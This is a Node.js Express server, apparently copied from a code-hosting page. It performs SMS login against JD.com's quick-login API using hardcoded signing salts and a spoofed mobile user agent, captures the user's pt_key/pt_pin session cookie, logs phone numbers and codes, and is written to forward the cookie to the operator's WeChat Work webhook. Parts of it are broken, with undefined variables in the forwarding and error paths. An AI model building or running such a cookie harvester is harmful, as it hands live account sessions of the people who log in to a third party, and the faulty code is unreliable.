314 lines
8.4 KiB
JavaScript
314 lines
8.4 KiB
JavaScript
// 填入你的配置，或者通过环境变量传入
|
||
const QYWX_KEY =
|
||
process.env.QYWX_KEY && process.env.QYWX_KEY.length > 0
|
||
? process.env.QYWX_KEY
|
||
: '';
|
||
// 尽量不用@all，除非只有你一个人
|
||
const QYWX_AM =
|
||
process.env.QYWX_AM && process.env.QYWX_AM.length > 0
|
||
? process.env.QYWX_AM
|
||
: '';
|
||
const express = require('express');
|
||
const got = require('got');
|
||
const path = require('path');
|
||
const bodyParser = require('body-parser');
|
||
const app = express();
|
||
app.use(bodyParser.json({ limit: '50mb' }));
|
||
app.use(bodyParser.urlencoded({ limit: '50mb', extended: true }));
|
||
const crypto = require('crypto');
|
||
const md5 = function (str) {
|
||
const encode = crypto.createHash('md5');
|
||
return encode.update(str).digest('hex');
|
||
};
|
||
/**
|
||
* 发送消息推送
|
||
*
|
||
* @param {*} msg
|
||
*/
|
||
async function sendMsg(updateMsg, cookie, userMsg) {
|
||
// 企业微信群机器人
|
||
if (QYWX_KEY) {
|
||
try {
|
||
await got.post(
|
||
`https://qyapi.weixin.qq.com/cgi-bin/webhook/send?key=${QYWX_KEY}`,
|
||
{
|
||
responseType: 'json',
|
||
json: {
|
||
msgtype: 'text',
|
||
text: {
|
||
content: `====获取到cookie====\n${updateMsg}\n用户备注：${userMsg}\n${cookie}`,
|
||
},
|
||
},
|
||
}
|
||
);
|
||
} catch (err) {
|
||
console.log({
|
||
msg: '企业微信群机器人消息发送失败',
|
||
});
|
||
}
|
||
}
|
||
if (QYWX_AM) {
|
||
try {
|
||
const [corpid, corpsecret, userId, agentid] = QYWX_AM.split(',');
|
||
const getToken = await got.post({
|
||
url: `https://qyapi.weixin.qq.com/cgi-bin/gettoken`,
|
||
json: {
|
||
corpid,
|
||
corpsecret,
|
||
},
|
||
headers: {
|
||
'Content-Type': 'application/json',
|
||
},
|
||
timeout: 10000,
|
||
});
|
||
const accessToken = JSON.parse(getToken.body).access_token;
|
||
const res = await got.post({
|
||
url: `https://qyapi.weixin.qq.com/cgi-bin/message/send?access_token=${accessToken}`,
|
||
json: {
|
||
touser: userId,
|
||
agentid,
|
||
safe: '0',
|
||
msgtype: 'text',
|
||
text: {
|
||
content: `====获取到cookie====\n${updateMsg}\n用户备注：${userMsg}\n${cookie}`,
|
||
},
|
||
},
|
||
headers: {
|
||
'Content-Type': 'application/json',
|
||
},
|
||
timeout: 10000,
|
||
});
|
||
} catch (err) {
|
||
console.log({
|
||
msg: '企业微信应用消息发送失败',
|
||
});
|
||
}
|
||
}
|
||
}
|
||
|
||
|
||
/**
|
||
* 对ck进行处 的流程
|
||
*
|
||
* @param {*} cookie
|
||
* @return {*}
|
||
*/
|
||
async function cookieFlow(cookie, userMsg) {
|
||
try {
|
||
await sendMsg(updateMsg, cookie, userMsg);
|
||
return msg;
|
||
} catch (err) {
|
||
return '';
|
||
}
|
||
}
|
||
|
||
async function sendSms(phone) {
|
||
let appid = 959;
|
||
let version = '1.0.0';
|
||
let countryCode = 86;
|
||
let timestamp = new Date().getTime();
|
||
let subCmd = 1;
|
||
let gsalt = 'sb2cwlYyaCSN1KUv5RHG3tmqxfEb8NKN';
|
||
let gsign = md5('' + appid + version + timestamp + '36' + subCmd + gsalt);
|
||
let res = await got.post('https://qapplogin.m.jd.com/cgi-bin/qapp/quick', {
|
||
method: 'post',
|
||
headers: {
|
||
'user-agent':
|
||
'Mozilla/5.0 (Linux; Android 10; V1838T Build/QP1A.190711.020; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/98.0.4758.87 Mobile Safari/537.36 hap/1.9/vivo com.vivo.hybrid/1.9.6.302 com.jd.crplandroidhap/1.0.3 ({packageName:com.vivo.hybrid,type:deeplink,extra:{}})',
|
||
'accept-language': 'zh-CN,zh;q=0.9,en;q=0.8',
|
||
'content-type': 'application/x-www-form-urlencoded; charset=utf-8',
|
||
'accept-encoding': '',
|
||
cookie: '',
|
||
},
|
||
body:
|
||
'client_ver=' +
|
||
version +
|
||
'&gsign=' +
|
||
gsign +
|
||
'&appid=' +
|
||
appid +
|
||
'&return_page=https%3A%2F%2Fcrpl.jd.com%2Fn%2Fmine%3FpartnerId%3DWBTF0KYY%26ADTAG%3Dkyy_mrqd%26token%3D&cmd=36&sdk_ver=1.0.0&sub_cmd=' +
|
||
subCmd +
|
||
'&qversion=' +
|
||
version +
|
||
'&ts=' +
|
||
timestamp,
|
||
dataType: 'json',
|
||
});
|
||
let data = JSON.parse(res.body).data;
|
||
subCmd = 2;
|
||
timestamp = new Date().getTime();
|
||
gsalt = data.gsalt;
|
||
gsign = md5('' + appid + version + timestamp + '36' + subCmd + gsalt);
|
||
let sign = md5(
|
||
'' +
|
||
appid +
|
||
version +
|
||
countryCode +
|
||
phone +
|
||
'4dtyyzKF3w6o54fJZnmeW3bVHl0$PbXj'
|
||
);
|
||
let ck =
|
||
'guid=' +
|
||
data.guid +
|
||
';lsid=' +
|
||
data.lsid +
|
||
';gsalt=' +
|
||
data.gsalt +
|
||
';rsa_modulus=' +
|
||
data.rsa_modulus +
|
||
';';
|
||
res = await got.post('https://qapplogin.m.jd.com/cgi-bin/qapp/quick', {
|
||
method: 'post',
|
||
headers: {
|
||
'user-agent':
|
||
'Mozilla/5.0 (Linux; Android 10; V1838T Build/QP1A.190711.020; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/98.0.4758.87 Mobile Safari/537.36 hap/1.9/vivo com.vivo.hybrid/1.9.6.302 com.jd.crplandroidhap/1.0.3 ({packageName:com.vivo.hybrid,type:deeplink,extra:{}})',
|
||
'accept-language': 'zh-CN,zh;q=0.9,en;q=0.8',
|
||
'content-type': 'application/x-www-form-urlencoded; charset=utf-8',
|
||
'accept-encoding': '',
|
||
cookie: ck,
|
||
},
|
||
body:
|
||
'country_code=' +
|
||
countryCode +
|
||
'&client_ver=' +
|
||
version +
|
||
'&gsign=' +
|
||
gsign +
|
||
'&appid=' +
|
||
appid +
|
||
'&mobile=' +
|
||
phone +
|
||
'&sign=' +
|
||
sign +
|
||
'&cmd=36&sub_cmd=' +
|
||
subCmd +
|
||
'&qversion=' +
|
||
version +
|
||
'&ts=' +
|
||
timestamp,
|
||
dataType: 'json',
|
||
});
|
||
data = JSON.parse(res.body).data;
|
||
|
||
if (data.err_code > 0) {
|
||
return { ok: false, msg: '发送验证码失败:' + data.err_msg };
|
||
} else {
|
||
return { ok: true, msg: 'success', data: { ck: ck, gsalt: gsalt } };
|
||
}
|
||
}
|
||
|
||
async function checkCode(phone, code, gsalt, ck) {
|
||
let appid = 959;
|
||
let version = '1.0.0';
|
||
let countryCode = 86;
|
||
let timestamp = new Date().getTime();
|
||
let subCmd = 3;
|
||
let gsign = md5('' + appid + version + timestamp + '36' + subCmd + gsalt);
|
||
let body =
|
||
'country_code=' +
|
||
countryCode +
|
||
'&client_ver=' +
|
||
version +
|
||
'&gsign=' +
|
||
gsign +
|
||
'&smscode=' +
|
||
code +
|
||
'&appid=' +
|
||
appid +
|
||
'&mobile=' +
|
||
phone +
|
||
'&cmd=36&sub_cmd=' +
|
||
subCmd +
|
||
'&qversion=' +
|
||
version +
|
||
'&ts=' +
|
||
timestamp;
|
||
res = await got.post('https://qapplogin.m.jd.com/cgi-bin/qapp/quick', {
|
||
method: 'post',
|
||
headers: {
|
||
'user-agent':
|
||
'Mozilla/5.0 (Linux; Android 10; V1838T Build/QP1A.190711.020; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/98.0.4758.87 Mobile Safari/537.36 hap/1.9/vivo com.vivo.hybrid/1.9.6.302 com.jd.crplandroidhap/1.0.3 ({packageName:com.vivo.hybrid,type:deeplink,extra:{}})',
|
||
'accept-language': 'zh-CN,zh;q=0.9,en;q=0.8',
|
||
'content-type': 'application/x-www-form-urlencoded; charset=utf-8',
|
||
'accept-encoding': '',
|
||
cookie: ck,
|
||
},
|
||
body: body,
|
||
dataType: 'json',
|
||
});
|
||
let data = JSON.parse(res.body);
|
||
return data;
|
||
}
|
||
|
||
/**
|
||
* API 发验证码
|
||
*/
|
||
app.get('/sendSms', async function (request, response) {
|
||
try {
|
||
const phone = request.query.phone;
|
||
if (!new RegExp('\\d{11}').test(phone)) {
|
||
response.send({ ok: false, msg: '手机号格式错误' });
|
||
return;
|
||
}
|
||
console.log(phone);
|
||
const data = await sendSms(phone);
|
||
response.send(data);
|
||
} catch (err) {
|
||
console.log(err);
|
||
response.send({ ok: false, msg: '错误' });
|
||
}
|
||
});
|
||
|
||
app.post('/checkCode', async function (request, response) {
|
||
try {
|
||
const phone = request.query.phone;
|
||
if (!new RegExp('\\d{11}').test(phone)) {
|
||
response.send({ ok: false, msg: '手机号格式错误' });
|
||
return;
|
||
}
|
||
const code = request.query.code;
|
||
if (!new RegExp('\\d{6}').test(code)) {
|
||
response.send({ ok: false, msg: '验证码格式错误' });
|
||
return;
|
||
}
|
||
const { gsalt, ck } = request.body;
|
||
console.log(phone, code);
|
||
const data = await checkCode(phone, code, gsalt, ck);
|
||
if (data.err_code > 0) {
|
||
response.send({ ok: false, msg: '登录失败:' + r.err_msg });
|
||
} else {
|
||
const cookie =
|
||
'pt_key=' +
|
||
data.data.pt_key +
|
||
';pt_pin=' +
|
||
encodeURIComponent(data.data.pt_pin) +
|
||
';';
|
||
await cookieFlow(cookie, '短信登录');
|
||
response.send({
|
||
ok: true,
|
||
msg: '获取ck成功',
|
||
data: {
|
||
ck: cookie,
|
||
},
|
||
});
|
||
}
|
||
} catch (err) {
|
||
console.log(err);
|
||
response.send({ ok: false, msg: '错误' });
|
||
}
|
||
});
|
||
|
||
const sleep = (ms) => {
|
||
return new Promise((resolve) => {
|
||
setTimeout(resolve, ms);
|
||
});
|
||
};
|
||
|
||
app.use(express.static(path.join(__dirname, 'public')));
|
||
|
||
|
||
const PORT = 6789;
|
||
app.listen(PORT, () => {
|
||
console.log(`应用正在监听 ${PORT} 端口!`);
|
||
}); |